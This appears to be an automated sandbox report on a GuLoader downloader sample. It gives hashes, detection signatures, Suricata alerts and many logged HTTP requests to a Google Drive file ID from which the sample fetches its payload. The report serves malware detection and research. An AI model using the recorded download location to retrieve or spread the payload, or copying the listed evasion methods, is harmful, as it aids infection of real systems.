Edit tour

Windows Analysis Report
Ub46mg9pn4.exe

Overview

General Information

Sample name:	Ub46mg9pn4.exe
Analysis ID:	1587600
MD5:	e9b5b4a74ac96689518eb4593b7c23b1
SHA1:	4696dfadaf41cd153cff001c0e3b906585af5954
SHA256:	3d51bcacfbfbd3a37fc42eb9c1137786ef4de41f364bdb6e376a48a0e6f20cba
Infos:

Detection

GuLoader

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Switches to a custom stack to bypass stack traces

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

Ub46mg9pn4.exe (PID: 8584 cmdline: "C:\Users\user\Desktop\Ub46mg9pn4.exe" MD5: E9B5B4A74AC96689518EB4593B7C23B1)

Ub46mg9pn4.exe (PID: 5248 cmdline: "C:\Users\user\Desktop\Ub46mg9pn4.exe" MD5: E9B5B4A74AC96689518EB4593B7C23B1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.123249655615.0000000003533000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000001.00000002.119996620831.0000000005113000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:34:31.129127+0100	2028371	3	Unknown Traffic	192.168.11.30	49802	23.51.25.9	443	TCP
2025-01-10T15:35:34.608177+0100	2028371	3	Unknown Traffic	192.168.11.30	49804	23.51.25.9	443	TCP
2025-01-10T15:36:38.113121+0100	2028371	3	Unknown Traffic	192.168.11.30	49808	23.51.25.9	443	TCP
2025-01-10T15:38:44.665383+0100	2028371	3	Unknown Traffic	192.168.11.30	49831	23.51.25.9	443	TCP
2025-01-10T15:39:48.175114+0100	2028371	3	Unknown Traffic	192.168.11.30	49844	23.51.25.9	443	TCP
2025-01-10T15:41:54.678799+0100	2028371	3	Unknown Traffic	192.168.11.30	49867	23.51.25.9	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:36:33.821849+0100	2803270	2	Potentially Bad Traffic	192.168.11.30	49806	142.250.190.78	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Ub46mg9pn4.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Ub46mg9pn4.exe	Virustotal: Detection: 72%			Perma Link
Source: Ub46mg9pn4.exe	ReversingLabs: Detection: 75%

Source: Ub46mg9pn4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49873 version: TLS 1.2

Source: Ub46mg9pn4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: mshtml.pdbUGP source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_004066F3 FindFirstFileW,FindClose,	1_2_004066F3
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_00405ABE CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405ABE
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_00402862 FindFirstFileW,	1_2_00402862

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49808 -> 23.51.25.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49844 -> 23.51.25.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49804 -> 23.51.25.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49802 -> 23.51.25.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49867 -> 23.51.25.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.30:49831 -> 23.51.25.9:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.30:49806 -> 142.250.190.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
